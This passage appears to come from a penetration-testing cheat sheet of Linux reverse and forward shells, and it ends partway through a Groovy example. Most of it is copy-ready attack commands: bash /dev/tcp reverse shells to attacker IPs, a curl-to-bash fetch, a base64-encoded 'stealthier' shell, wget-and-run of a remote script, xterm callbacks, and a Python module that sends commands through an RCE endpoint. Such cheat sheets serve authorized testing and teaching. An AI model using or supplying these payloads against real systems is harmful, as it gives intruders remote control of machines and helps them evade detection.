If you have questions about any of these shells you could check them with https://explainshell.com/

Full TTY

Once you get a reverse shell read this page to obtain a full TTY.

Bash | sh

curl https://reverse-shell.sh/1.1.1.1:3000 | bash
bash -i >& /dev/tcp/<ATTACKER-IP>/<PORT> 0>&1
bash -i >& /dev/udp/127.0.0.1/4242 0>&1 #UDP
0<&196;exec 196<>/dev/tcp/<ATTACKER-IP>/<PORT>; sh <&196 >&196 2>&196
exec 5<>/dev/tcp/<ATTACKER-IP>/<PORT>; while read line 0<&5; do $line 2>&5 >&5; done

#Short and bypass (credits to Dikline)
(sh)0>/dev/tcp/10.10.10.10/9091
#after getting the previous shell to get the output to execute
exec >&0

Don't forget to check with other shells: sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh, and bash.

Symbol safe shell

#If you need a more stable connection do:
bash -c 'bash -i >& /dev/tcp/<ATTACKER-IP>/<PORT> 0>&1'

#Stealthier method
#B64 encode the shell like: echo "bash -c 'bash -i >& /dev/tcp/10.8.4.185/4444 0>&1'" | base64 -w0
echo bm9odXAgYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjQuMTg1LzQ0NDQgMD4mMScK | base64 -d | bash 2>/dev/null

Shell explanation

  1. bash -i: This part of the command starts an interactive (-i) Bash shell.
  2. >&: This part of the command is a shorthand notation for redirecting both standard output (stdout) and standard error (stderr) to the same destination.
  3. /dev/tcp/<ATTACKER-IP>/<PORT>: This is a special file that represents a TCP connection to the specified IP address and port.
    • By redirecting the output and error streams to this file, the command effectively sends the output of the interactive shell session to the attacker's machine.
  4. 0>&1: This part of the command redirects standard input (stdin) to the same destination as standard output (stdout).

Create in file and execute

echo -e '#!/bin/bash\nbash -i >& /dev/tcp/1<ATTACKER-IP>/<PORT> 0>&1' > /tmp/sh.sh; bash /tmp/sh.sh;
wget http://<IP attacker>/shell.sh -P /tmp; chmod +x /tmp/shell.sh; /tmp/shell.sh

Forward Shell

When dealing with a Remote Code Execution (RCE) vulnerability within a Linux-based web application, achieving a reverse shell might be obstructed by network defenses like iptables rules or intricate packet filtering mechanisms. In such constrained environments, an alternative approach involves establishing a PTY (Pseudo Terminal) shell to interact with the compromised system more effectively.

A recommended tool for this purpose is toboggan, which simplifies interaction with the target environment.

To utilize toboggan effectively, create a Python module tailored to the RCE context of your target system. For example, a module named nix.py could be structured as follows:

import jwt
import httpx

def execute(command: str, timeout: float = None) -> str:
    # Generate JWT Token embedding the command, using space-to-${IFS} substitution for command execution
    token = jwt.encode(
        {"cmd": command.replace(" ", "${IFS}")}, "!rLsQaHs#*&L7%F24zEUnWZ8AeMu7^", algorithm="HS256"
    )

    response = httpx.get(
        url="https://vulnerable.io:3200",
        headers={"Authorization": f"Bearer {token}"},
        timeout=timeout,
        # ||BURP||
        verify=False,
    )

    # Check if the request was successful
    response.raise_for_status()

    return response.text

And then, you can run:

toboggan -m nix.py -i

To directly leverage an interractive shell. You can add -b for Burpsuite integration and remove the -i for a more basic rce wrapper.

Another possibility consist using the IppSec forward shell implementation https://github.com/IppSec/forward-shell.

You just need to modify:

  • The URL of the vulnerable host
  • The prefix and suffix of your payload (if any)
  • The way the payload is sent (headers? data? extra info?)

Then, you can just send commands or even use the upgrade command to get a full PTY (note that pipes are read and written with an approximate 1.3s delay).

Xterm

This will try to connect to your system at port 6001:

xterm -display 10.0.0.1:1

To catch the reverse shell you can use (which will listen in port 6001):

# Authorize host
xhost +targetip
# Listen
Xnest :1

Groovy

by frohoff NOTE: Java reverse shell also work for Groovy

String host="localhost";
int port=8044;
